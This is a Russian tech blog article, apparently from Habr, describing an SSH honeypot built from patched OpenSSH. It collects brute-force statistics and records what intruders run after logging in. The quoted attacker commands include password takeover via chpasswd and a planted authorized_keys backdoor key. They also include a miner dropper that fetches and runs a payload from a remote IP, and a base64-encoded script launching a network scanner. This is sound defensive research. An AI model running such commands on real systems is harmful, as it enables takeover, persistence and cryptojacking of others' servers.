Et tu, Brute? Что хотят от нас брутфорсеры?

ba8f5jjylwxixnub0icav2epbcs.jpeg


Каждый владелец сервера с «белым» IP-адресом наблюдал в логах бесчисленные попытки подключиться к серверу по SSH с разных точек мира. Администраторы ставят средства противодействия, такие как fail2ban, переносят SSH на другие порты и всячески пытаются защититься от брутфорсеров. Но чего же хотят эти замечательные люди от наших серверов?

Поверхностный ответ, конечно, прост: наживы на бесплатных вычислительных ресурсах и полученных чувствительных данных. Но этот ответ недостаточно подробный. Давайте разложим виртуальные «приманки» и проследим, что происходит, когда автоматический брутфорс оказывается успешным.
В данной статье мы рассматриваем только случаи попадания под «автоматический» перебор и исключаем целенаправленные атаки на наш сервер.

Не пытайтесь повторить описанное в статье, если у вас нет должной подготовки. Ни в коем случае не повторяйте на продакшн-серверах!

Сперва узнаем «врага» в лицо.

Пассивно-агрессивное наблюдение


У нас есть сервер, который уже пару недель стоит с открытым 22 портом. Этого достаточно, чтобы его заметили и начали атаковать.

Для начала узнаем, откуда к нам приходят, как часто и с какими данными. Не будем изобретать велосипед и просто (это действительно просто!) модернизируем исходный код OpenSSH. Ставим необходимые зависимости.

Команда для Ubuntu:

apt update
apt install gcc g++ make autoconf libssl-dev libz-dev


Получаем самую свежую версию с GitHub:

git clone https://github.com/openssh/openssh-portable
cd openssh-portable


Проводим этап конфигурации перед сборкой. Здесь и далее мы проводим все операции от имени суперпользователя. Чтобы не сломать оригинальный SSH-сервер, указываем префикс для установки патченной версии.

autoreconf
./configure --prefix=/root/ssh


Если все прошло без ошибок, то можно приступать к изменению исходного кода OpenSSH. Брутфорс организуется по методу аутентификации password. Заглядываем в файл auth-passwd.c. В этом файле интересна функция auth_password (), вернее ее начало.

/*
 * Tries to authenticate the user using password.  Returns true if
 * authentication succeeds.
 */
int
auth_password(struct ssh *ssh, const char *password)
{
    Authctxt *authctxt = ssh->authctxt;
    struct passwd *pw = authctxt->pw;
    int result, ok = authctxt->valid;
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
    static int expire_checked = 0;
#endif

    if (strlen(password) > MAX_PASSWORD_LEN)
        return 0;

    /* Часть кода опущена за ненадобностью */

}


Этот метод вызывается всякий раз, когда кто-нибудь пытается пройти аутентификацию по паролю. Контекст аутентификации (Authctxt) и структура ssh содержат все полезные нам поля:

  1. IP-адрес атакующего;
  2. логин;
  3. пароль.


К этой информации можно добавить текущую метку времени — для начала хватит. Модернизируем метод:

#include 
#include 
#include 
#include 
#include 

#define MAX_BUF_SIZE 2*MAX_PASSWORD_LEN

/*
 * Tries to authenticate the user using password.  Returns true if
 * authentication succeeds.
 */
int
auth_password(struct ssh *ssh, const char *password)
{
    Authctxt *authctxt = ssh->authctxt;
    struct passwd *pw = authctxt->pw;
    int result, ok = authctxt->valid;
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
    static int expire_checked = 0;
#endif

    if (strlen(password) > MAX_PASSWORD_LEN)
        return 0;

    /* Открываем файл логов на дозапись */
    int fd = open("/root/ssh.log", O_CREAT | O_APPEND | O_WRONLY, 0644);
    /* Формируем строчку лога */
    char entry[MAX_BUF_SIZE];
    int len = snprintf(entry, MAX_BUF_SIZE, "%li,%s,%s,%s\n", 
        time(NULL), ssh->remote_ipaddr, authctxt->user, password);
    /* Записываем в файл, ошибку игнорируем, если такая есть */
    write(fd, entry, len);
    /* Прибираемся за собой*/
    close(fd);
    /* По паролю никого не пускаем ни под каким предлогом */
    return 0;

    /* Здесь оставшийся код функции, но он теперь недостижим */
}


Конечно, это не самый потокобезопасный код. Но так как мы пишем всего одну строку и нам не критичен порядок записей, то буферы ОС сами разберутся. Собираем и устанавливаем. Установка необходима для генерации ключей хоста.

make -j8
make install


Правим конфиг /root/ssh/etc/sshd_config, добавляем следующую строчку.

PermitRootLogin yes


Если не разрешить вход для суперпользователя, то метод auth_password не будет вызываться. Уносим свой рабочий локальный SSH на другой порт и запускаем нашу ловушку.

/root/ssh/sbin/sshd -f /root/ssh/etc/sshd_config


За 10 дней наблюдений было предпринято 74 865 попытки зайти c 1 131 IP-адресов. В среднем в секунду было от одной до двух попыток аутентификации. Максимально зафиксированное число — 10 попыток за секунду. Примечательно, что все они были совершены с одного IP-адреса.

В этой статье не будет указания точных IP-адресов, так как это очень непостоянная информация. А вот статистика по странам и автономным системам (AS) будет весьма полезна.

image-loader.svg


image-loader.svg


Легко заметить, что Китай преобладает по количеству брутфорса.

Вот так выглядит топ самых настырных адресов из следующих AS:

  1. AS4808 China Unicom Beijing Province Network — 15 827 попыток аутентификации;
  2. AS4766 Korea Telecom — 3 962 попытки;
  3. AS8075 Microsoft Corporation — 420 попыток.


Мы просканировали порты источников наглого брутфорса и выяснили, что все адреса имеют открытые SSH-, HTTP- и HTTPS-порты. Интересно, что второе место по брутфорсу занимает VPN-сервер на OpenWRT, а остальные не отвечают на HTTP- и HTTPS-запросы.

В этом топе отображаются самые активные брутфорсеры, но если взглянуть на весь список адресов, то обнаружится еще одна интересная закономерность: почти половина останавливается на 50 или 70 попытках.

По источникам брутфорса посмотрели, перейдем к топу паролей. Нам удалось собрать словарь на 2 018 пользователей и 32 238 паролей. Вот топ паролей:

  1. 123456 — 4.34%;
  2. 123 — 1.92%;
  3. password — 1.90%;
  4. root — 1.65%;
  5. 1234 — 1.57%;
  6. 12345 — 1.30%;
  7. admin — 1.20%;
  8. 1 — 1.20%;
  9. test — 1.19%;
  10. 12345678 — 0.92%.


При этом пароль 123456 пробуют в основном с разными именами пользователя, в надежде, что повезет. Если рассматривать пары логин-пароль, то топ изменится.

  1. root: root
  2. test: test
  3. admin: admin
  4. user: user
  5. postgres: postgres
  6. ubuntu: ubuntu
  7. admin:123456
  8. oracle: oracle
  9. root:1234
  10. root:123456


Отдельно хочется упомянуть самый «безопасный» пароль, который пришел, — 60 символов!

Вот он: ababablkljkjhghfgdfdgjhkfdgfhghfgfgqqqqqqwwwwwwgqqqqqqababab.

Примечательно, что это не попытка ручного подбора методом соприкосновения головы и клавиатуры, а вполне себе словарный пароль, который засветился шесть раз с разных мест.

Также один адрес перебирал пароль по датам, а еще несколько десятков адресов как будто бы плохо сконфигурированы: они всегда приходили с паролем root, а в имени пользователя был просто набор символов, например, 1!2@3#4$5%6^7&8×9(0)-_=+.

Из полученной информации следуют такие выводы:

  1. Если ваш пароль хоть чуть-чуть отличается от стандартных, не содержит слов admin, root или password, то вы относительно защищены от брутфорса.
  2. Большинство атакующих не пытаются давить на сервер с одного адреса, а делают распределенный перебор.


Ну что ж, пришло время сыграть роль дружелюбного лесника и пустить к себе одного утомленного путника. Хой!

Карт-бланш


Сперва необходимо выяснить, как действует атакующий. Единственное, в чем мы можем быть уверены, так это в том, что на сервер зайдут через ssh. Сперва пропатчим метод аутентификации, чтобы пропускать всех, кто к нам пришел.

/*
 * Tries to authenticate the user using password.  Returns true if
 * authentication succeeds.
 */
int
auth_password(struct ssh *ssh, const char *password)
{
    Authctxt *authctxt = ssh->authctxt;
    struct passwd *pw = authctxt->pw;
    int result, ok = authctxt->valid;
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
    static int expire_checked = 0;
#endif

    if (strlen(password) > MAX_PASSWORD_LEN)
        return 0;

    if(strcmp("root”, authctxt->user, 5) == 0) {
        return 1;
    }
    return 0;
}


Далее изучаем документацию и находим три полезных ключа для sshd.

  1. -D — оставить процесс в foreground;
  2. -d — включить отладочную информацию в stdout и запретить создавать новый процесс при подключении. Это позволит пропустить ровно одно подключение, после которого процесс sshd будет завершен.
  3. -q — отключить вывод бесполезной для нас отладочной информации.


Проблема ограничения до одного подключения решена, но теперь нужно записать все «ходы» условного противника. Воспользуемся маленькой особенностью ssh-сервера: единственное, что он умеет, — выполнять команды.

Вероятно, многие знают про утилиту scp, которая позволяет передавать файлы через SSH. На самом деле эта утилита подключается к удаленному ssh-серверу и запускает на нем scp с недокументированным ключом -t. Так поток данных идет от локального scp до удаленного scp, где поток данных превращается обратно в файлы. Если на удаленном сервере не найдется scp, то передача, увы, не состоится.

Запуск программ в *NIX-подобных системах сопряжен с двумя системными вызовами: fork (2) и execve (2). Первый просто дублирует текущий процесс и не несет никакой полезной информации, а вот второй содержит путь и аргументы новой программы.

Воспользуемся удобным инструментом для трассировки системных вызовов в программах — strace. Настраиваем фильтр по execve, разрешаем трассировать потомков и снимаем ограничения на длину выводимой строки. Итоговая команда для трассировки выглядит так:

strace --trace=execve -s1000 -f /root/ssh/sbin/sshd -f /root/ssh/etc/sshd_config -D -d -q -p 22


На выходе получается несколько перегруженный лог, так как атакующий запускает команды, содержащие конвейеры. Тем не менее, извлечь из лога итоговый скрипт несложно.

cat /proc/cpuinfo | grep name | wc -l
echo "root:DDBWiT4KuWn8"|chpasswd|bash
cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
ls -lh $(which ls)
crontab -l
w
uname -m
cat /proc/cpuinfo | grep model | grep name | wc -l
top
uname
lscpu | grep Model
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


Видно, что первое знакомство с сервером заключается в сборе информации об аппаратной составляющей и смене доступов. После нескольких повторений эксперимента было выявлено, что новый пароль для суперпользователя каждый раз генерируется. Что ж, ожидаемо. Очень странно выглядит дописывание (>>) в файл .ssh/authorized_keys, при условии что весь каталог .ssh очищается в той же строке.

К слову, именно этот публичный ключ уже фигурировал на Хабре, но при других обстоятельствах, а автор не потерял доступ к собственному оборудованию. Потенциально имя ключа может пролить свет на назначение этого ботнета, так как во второй части имени ключа, fckr, легко восстановить недостающие гласные. А вот что такое mdr, автору понять не удалось.

На первый взгляд кажется, что атакующий бот проверяет наличие сессий на сервере (команда w) и стесняется что-либо загружать. Возможно, конечно, владелец ботнета остерегается администраторов, которые внимательно относятся к своим серверам, и выжидает некоторое время перед загрузкой зловредных бинарников.

Сделаем вид, что мы безответственные администраторы, и составим следующий shell-скрипт, который запустим через nohup:

(
  strace --trace=execve -s1000 -f /root/ssh/sbin/sshd -f /root/ssh/etc/sshd_config -D -d -q -p 22
  strace --trace=execve -s1000 -f /usr/sbin/sshd -f /root/ssh/etc/sshd_config -D -p 22
) 2>&1 | nc $REMOTE 1337


Так, первая попытка позволит нападающему пройти в ОС сервера и изменить данные для подключения на свои, а после отключения SSH-сервер перезапустится на обычный, который примет теперь уже подходящие доступы.

Запускаем вторую виртуальную машину с адресом $REMOTE и запускаем на ней слушателя в виде netcat.

nc -l -p 1337


Единственный минус данного метода — необходимо несколько раз перезапустить скрипт, прежде чем брутфорсер придет с логином root. Но нам повезло — первый же встречный пришел с логином root.

Но отдаваться первому встречному было плохой идеей. Атакующий собрал информацию о виртуальной машине, сменил пароль и ключ, и в течение следующих двух дней никто по новому ключу не пришел.

Пришлось откатить виртуальную машину на момент до атаки. Из этой попытки был сделан вывод, что ловить хороших людей по одному нецелесообразно: их намерения неясны и тратят много времени.

Решение простое: раз уж мы разрешили заходить каждому встречному, а каждый встречный выполняет отдельные команды в неинтерактивном режиме, так давайте будем записывать приходящие команды вместо исполнения. Находим метод do_child () в session.c.

/*
 * Performs common processing for the child, such as setting up the
 * environment, closing extra file descriptors, setting the user and group
 * ids, and executing the command or shell.
 */
#define ARGV_MAX 10
void
do_child(struct ssh *ssh, Session *s, const char *command)
{
    /* Часть кода опущена */

    /*
     * Execute the command using the user's shell.  This uses the -c
     * option to execute the command.
     */
    argv[0] = (char *) shell0;
    argv[1] = "-c";
    argv[2] = (char *) command;
    argv[3] = NULL;

    execve(shell, argv, env);
    perror(shell);
    exit(1);
}


Можно просто записывать все команды и ничего не выводить, но, кажется, атакующий принимает решения на основе полученной информации. По крайней мере при отсутствии вывода атакующий отключился после первой команды.

Пришлось придумать способ «отсеять» атакующих, которые выполняют простой сбор информации о машине, и запретить деструктивные действия. Также я попытался сделать сервер более привлекательным для атакующих и сделал обманывающие заглушки, которые «говорят», что в сервере 72 ядра, а процессор — Intel® Xeon® Gold 6354.

Полный текст заглушек
/*
 * Performs common processing for the child, such as setting up the
 * environment, closing extra file descriptors, setting the user and group
 * ids, and executing the command or shell.
 */
#define ARGV_MAX 10
void
do_child(struct ssh *ssh, Session *s, const char *command)
{
    /* Часть кода опущена */

    /*
     * Execute the command using the user's shell.  This uses the -c
     * option to execute the command.
     */
    argv[0] = (char *) shell0;
    argv[1] = "-c";
    argv[2] = (char *) command;
    argv[3] = NULL;

    char filename[4096];
    snprintf(filename, 4096, "/root/ssh-log/%s-%li.log", ssh->remote_ipaddr, time(NULL));
        int fd = open(filename, O_CREAT | O_APPEND | O_WRONLY, 0644);
    write(fd, command, strlen(command));    
    write(fd, "\n", 1); 
    close(fd);

    if(strncmp("echo \"root:", command, 11) == 0) {
        exit(0);
    }
    if(strncmp("cd ~ && rm -rf .ssh", command, 19) == 0) {
        exit(0);
    }
    if(strcmp("cat /proc/cpuinfo | grep name | wc -l", command) == 0) {
        printf("72\n");
        exit(0);
    }
    if(strcmp("cat /proc/cpuinfo | grep model | grep name | wc -l", command) == 0) {
        printf("72\n");
        exit(0);
    }
    if(strcmp("cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", command) == 0) {
        printf("Intel(R) Xeon(R) Gold 6354 CPU @\n");
        exit(0);
    }
    if(strcmp("free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", command) == 0) {
        printf("257594 780 255585 2 1228 255272\n");
        exit(0);
    }
    if(strcmp("lscpu | grep Model", command) == 0) {
        printf("Model:                           106\nModel name:                      Intel(R) Xeon(R) Gold 6354 CPU @ 3.00GHz\n");
        exit(0);
    }

    execve(shell, argv, env);
    perror(shell);
    exit(1);
}


При этом запуск интерактивной сессии не будет логироваться, но это, на мой взгляд, было не так важно, так как нас атакуют боты. Это предположение, конечно, оказалось неверным, но процесс ssh трассируется на системный вызов execve, поэтому команды мы все равно узнаем.

Колизей


Первое время приходили только атакующие с ключом mdrfckr. Заглушки в сервере SSH не давали им испортить мой ключ, а больше вреда от них и не было. В первый час к нам заглянули 12 серверов, которые суммарно выполнили этот скрипт 79 раз. Кажется, что этот ботнет очень простой и его единственная цель — заставить администратора понервничать и вспомнить, как сбросить пароль в Linux. Дело было под вечер, поэтому виртуальная машина была оставлена в покое в надежде утром найти следы более «серьезных» атакующих.

Утром я вернулся к гипервизору и увидел, что vCPU трудятся на 100%. Заглянул внутрь сервера, проверил логи strace и понял, что ночью мой сервер был полем жарких битв.

Первым пришел любопытствующий скрипт из Испании (Мадрид, AS12479 Orange Espagne SA).

/ip cloud print
ifconfig
uname -a
cat /proc/cpuinfo
ps | grep '[Mm]iner'
ps -ef | grep '[Mm]iner'
ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
echo Hi | cat -n


Следом пришел майнер из Америки (Невада, AS53667 FranTech Solutions). В отличие от всех предыдущих, майнер максимально непривередлив. Как-нибудь прокатит. При этом IP-адрес нападавшего и IP-адрес сервера с архивом (Нью-Йорк, AS53667 FranTech Solutions) не совпадают.

cd /dev/shm || cd /tmp || cd /var/run || cd /mnt; wget 198.98.56.65/krax || curl -o krax 198.98.56.65/krax; tar xvf krax; cd ._lul; chmod +x *; ./krn; ./krane 123456


Кстати, именно этот майнер дожил до встречи со мной. У него два исполняемых файла krn и krane, а также текстовый файл config.json, это конфиг XMRIG. Тем не менее, майнер непрост: он подчищает за собой историю в .bash_history, удаляет конфиг и исходный архив, а также чистит за собой логи.

Далее были попытки протолкнуть исполняемый файл 8nlh4fpijnyueflljkd2bi9f69 через scp по путям:

  • /bin,
  • /usr/bin,
  • /usr/local/bin,
  • /root/,
  • /var/tmp,
  • /tmp,
  • /dev/shm.


Здесь я допустил ошибку: выделил недостаточно места для ОС, поэтому, после того как один из процессов поставил snapd, в корне месте закончилось и следующие атакующие были ограничены в возможностях.

На этом моменте место для логирования закончилось, и выяснить IP-адрес атакующего теперь не представляется возможным, так как strace сохраняет только pid. Недостаток места повлиял и на crontab.

Успех был достигнут только по последнему пути, но исходный файл тут же был стерт, а его место занял dhpcd. Этот сервис тоже дожил до встречи со мной, но оригинальный файл уже отсутствовал. К счастью, procfs позволяет вытащить файл даже после его удаления.

root@trap:~# cat /proc/199142/exe > ~/dhpcd
root@trap:~# file dhpcd 
dhpcd: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped


Следующий зашедший пытался сменить пароли для пользователей ubuntu, test, oracle, admin, test1, после чего проверил authorized_keys на предмет ключа mdrfckr и заменил ключи на собственный безымянный.

Ключ
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuhPmv3xdhU7JbMoc/ecBTDxiGqFNKbe564p4aNT6JbYWjNwZ5z6E4iQQDQ0bEp7uBtB0aut0apqDF/SL7pN5ybh2X44aCwDaSEB6bJuJi0yMkZwIvenmtCA1LMAr2XifvGS/Ulac7Qh5vFzfw562cWC+IOI+LyQZAcPgr+CXphJhm8QQ+O454ItXurQX6oPlA2rNfF36fnxYss1ZvUYC80wWTi9k2+/XR3IoQXZHKCFsJiwyKO2CY+jShBbDBbtdOX3/ksHNVNStA/jPE0HYD7u6V2Efjv9K+AEbklMsytD9T60Iu3ua+ugBrP5hL7zAjPHpXH8qW4Ku7dySZ4yvH


Далее был загружен исполняемый файл r в /dev/shm. Похоже, что данный исполняемый файл избавляется от конкурентов. Он проверяет наличие aliyun.one и скачивающихся скриптов в cron, а затем удаляет множество файлов и грубо завершает другие вредоносные процессы.

Список удаляемых файлов
/etc/cron.hourly/gcc.sh
/etc/cron.hourly/gcc4.sh
/lib/libudev.so
/root/pty
/tmp/bash
/dev/shm/bash
/var/tmp/bash
/var/lock/bash
/var/run/bash
/bin/httpsd
/lib/udev/udev
/lib/udev/debug
/root/sysem
/root/systma
/etc/jourxlv
/tmp/sysem
/tmp/su
/tmp/ddgs.*
/root/pty10
/root/pty4
/root/xmr64
/etc/cron.hourly/gcc.sh
/etc/cron.hourly/gcc4.sh
/lib/libudev.so
/root/pty
/tmp/bash
/dev/shm/bash
/var/tmp/bash
/var/lock/bash
/var/run/bash
/bin/httpsd
/lib/udev/udev
/lib/udev/debug
/root/sysem
/root/systma
/etc/jourxlv
/tmp/sysem
/tmp/su
/tmp/ddgs.*
/root/pty10
/root/pty4
/root/xmr64
/usr/local/sbin/t
/usr/local/sbin/rsync
/etc/ceurnad


Список завершаемых процессов
python /bin/httpsd
xm32
xm64
ceurnad
.xmrig
/tmp/.xs/daemon.i686.mod
./systma
/root/.local/syslogd
/tmp/samba
xorgg
sc64u
/tmp/su
/.tmp00/


Один из атакующих прошелся по всем файлам в /bin, /usr/bin/, /usr/local/bin, ~/bin, а также по файлам запущенных процессов (/proc/$PID/exe) и применил следующий фильтр:

file $FILENAME | grep -e "statically linked" -e "too many section header sections”


Назначение этой проверки осталось неизвестным.

Затем в логах появились вторые попытки перечисленных атакующих, а потом — рассвет и прекращение эксперимента. Казалось, что можно очистить сервер от лишнего ПО, заменить команду rm пустышкой и попытаться еще раз.

В идеале, конечно, нужно подменить или запретить системный вызов unlink (2), чтобы вообще ничего не удалялось, но этот трюк достаточно сложный. И может скорее навредить, чем помочь.

Вторая попытка


Теперь первым пришел невиданный ранее посетитель. Он работал через интерактивную оболочку и интересовался наличием masscan на моем сервере. Затем он собрал подробную информацию по процессору и памяти. После — собрал информацию об IP, запустил тесты дисковой подсистемы и проверил скорость доступа к сети Интернет.

Интересно, что скрипт тестирования скачивался с передачей адреса и через stdin: это помогло скрыть источник скрипта от логов трассировки.

echo url | wget -qO- bench.sh | bash


Однако большая часть скрипта легко восстанавливается по логу трассировки.

Восстановленный скрипт бота
/usr/lib/command-not-found -- masscan
awk -F: '/model name/ {name=$2} END {print name}' /proc/cpuinfo | sed "s/^[ \\t]*//;s/[ \\t]*$//"
awk -F: "/model name/ {core++} END {print core}" /proc/cpuinfo
awk "-F[ :]" "/cpu MHz/ {print $4;exit}" /proc/cpuinfo
awk -F: '/cache size/ {cache=$2} END {print cache}' /proc/cpuinfo | sed "s/^[ \\t]*//;s/[ \\t]*$//"
free -m | awk '/Mem/ {print $2}'
free -m | awk '/Swap/ {print $2}'
free -m | awk '/Swap/ {print $3}'
awk '{a=$1/86400;b=($1%86400)/3600;c=($1%3600)/60} {printf("%d days, %d hour %d min\n",a,b,c)}' /proc/uptime
w | head -1 | awk -F'load average:' '{print $2}' | sed 's/^[ \\t]*//;s/[ \\t]*$//'
awk -F'[= "]' '/PRETTY_NAME/{print $3,$4,$5}' /etc/os-release
uname -m
getconf LONG_BIT
uname -r
df -hPl | grep -wvE '\\-|none|tmpfs|devtmpfs|by-uuid|chroot|Filesystem|udev|docker' | awk '{print$2}'
df -hPl | grep -wvE '\\-|none|tmpfs|devtmpfs|by-uuid|chroot|Filesystem|udev|docker' | awk '{print$3}'

# Секция с какими-то встроенными командами bash
echo ??? | awk ‘BEGIN{printf "%.1f", 1.6 + 0.0}’

sysctl net.ipv4.tcp_congestion_control | awk -F' ' '{print$3}'
dmesg
dmidecode -s system-manufacturer
dmidecode -s system-product-name
dmidecode -s system-version
grep -qa docker /proc/1/cgroup
grep -qa lxc /proc/1/cgroup
grep -qa container=lxc /proc/1/environ
clear

# Опять какая-то команда интерпретатора
echo ??? | sed ‘s/\s/-/g’

wget -q -T10 -O- ipinfo.io/org
wget -q -T10 -O- ipinfo.io/city
wget -q -T10 -O- ipinfo.io/country
wget -q -T10 -O- ipinfo.io/region

# Опять какая-то команда интерпретатора
echo ??? | sed ‘s/\s/-/g’

dd if=/dev/zero of=benchtest_222638 bs=64k count=16k conv=fdatasync | awk -F, '{io=$NF} END { print io}' | sed 's/^[ \\t]*//;s/[ \\t]*$//'

# Множество вызовов awk с разными математическими операциями
awk 'BEGIN{print 759 + 777 + 1024}'

getconf WORD_BIT
getconf LONG_BIT

# Обе операции зафейлились
wget --no-check-certificate -q -T10 -O speedtest.tgz 'https://dl.bintray.com/ookla/download/ookla-speedtest-1.0.0-x86_64-linux.tgz'
wget --no-check-certificate -q -T10 -O speedtest.tgz ‘https://dl.lamp.sh/files/ookla-speedtest-1.0.0-x86_64-linux.tgz’ 

# Из-за устаревших индексов masscan не был установлен
apt install masscan
apt update


Затем пришел эксперт по смене паролей. Его единственная цель — сменить пароль. И он не справился! Ни одна из перечисленных команд не выполнилась успешно на моем сервере.

1000 и 1 попытка поменять пароль
flash set DEF_SSH_PASSWORD mNXmCuf92lcV
flash set SSH_PASSWORD mNXmCuf92lcV
echo -e "mNXmCuf92lcV\nmNXmCuf92lcV\n" | passwd
echo  root:mNXmCuf92lcV | chpasswd
(echo mNXmCuf92lcV;sleep 3;echo mNXmCuf92lcV) | passwd
nvram set http_passwd=root:mNXmCuf92lcV
setuserpasswd root mNXmCuf92lcV
sed -i 's/:$[0-9]$[^:]\{31\}:/:$1$KdlbdIQe$tXZ5Umytzl4tfobq\/ICJR\/:/' /etc/shadow


А вот и «зашифрованные» в base64 скрипты пошли:

sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4Cm1rZGlyIC5YMTktdW5peApjZCAuWDE5LXVuaXgKbXYgL3Zhci90bXAvZG90YTMudGFyLmd6IGRvdGEzLnRhci5negp0YXIgeGYgZG90YTMudGFyLmd6CnNsZWVwIDNzICYmIGNkIC90bXAvLlgxOS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgxOS11bml4Ly5yc3luYy9jL3RzbSAtdCAxNTAgLVMgNiAtcyA2IC1wIDIyIC1QIDAgLWYgMCAtayAxIC1sIDEgLWkgMCAvdG1wL3VwLnR4dCAxOTIuMTY4ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDhtICYmIG5vaHVwIC90bXAvLlgxOS11bml4Ly5yc3luYy9jL3RzbSAtdCAxNTAgLVMgNiAtcyA2IC1wIDIyIC1QIDAgLWYgMCAtayAxIC1sIDEgLWkgMCAvdG1wL3VwLnR4dCAxNzIuMTYgPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgMjBtICYmIGNkIC4uOyAvdG1wLy5YMTktdW5peC8ucnN5bmMvaW5pdGFsbCAyPjEmCmV4aXQgMA==" | base64 --decode | bash


Содержимое скрипта
#!/bin/bash
cd /tmp	
rm -rf .ssh
rm -rf .mountfs
rm -rf .X13-unix
rm -rf .X17-unix
rm -rf .X19-unix
mkdir .X19-unix
cd .X19-unix
mv /var/tmp/dota3.tar.gz dota3.tar.gz
tar xf dota3.tar.gz
sleep 3s && cd /tmp/.X19-unix/.rsync/c
nohup /tmp/.X19-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 192.168 >> /dev/null 2>1&
sleep 8m && nohup /tmp/.X19-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 172.16 >> /dev/null 2>1&
sleep 20m && cd ..; /tmp/.X19-unix/.rsync/initall 2>1&
exit 0


При этом в скрипте используется dota3.tar.gz, но этот файл, увы, не был загружен на сервер. :(

Последним на сервер зашел уже известный нам krane, он же продолжил трудиться до рассвета.

Выводы


Мы предложили Интернету беззащитную виртуалку и посмотрели, что произойдет. Все в рамках наших ожиданий, но давайте подведем итог.

  1. Не используйте пароли для аутентификации и по возможности переносите SSH на нестандартный порт. Можно по вкусу добавить fail2ban.
  2. Если наличие парольной аутентификации неизбежно, не используйте в качестве пароля даты, шаблонные сочетания и имя пользователя.
  3. Наибольшую угрозу представляет ботнет mdrfckr. Их много и их не останавливает даже то, что они уже взломали ваш сервер. Хотя сейчас этот ботнет просто меняет доступы, чем защищает взломанный сервер от системного администратора и других атакующих, но оставляет себе возможность вернуться на ваш сервер.
  4. Другие брутфорсеры приходят не сразу, но могут содержать более изощренные скрипты.

image-loader.svg

© Habrahabr.ru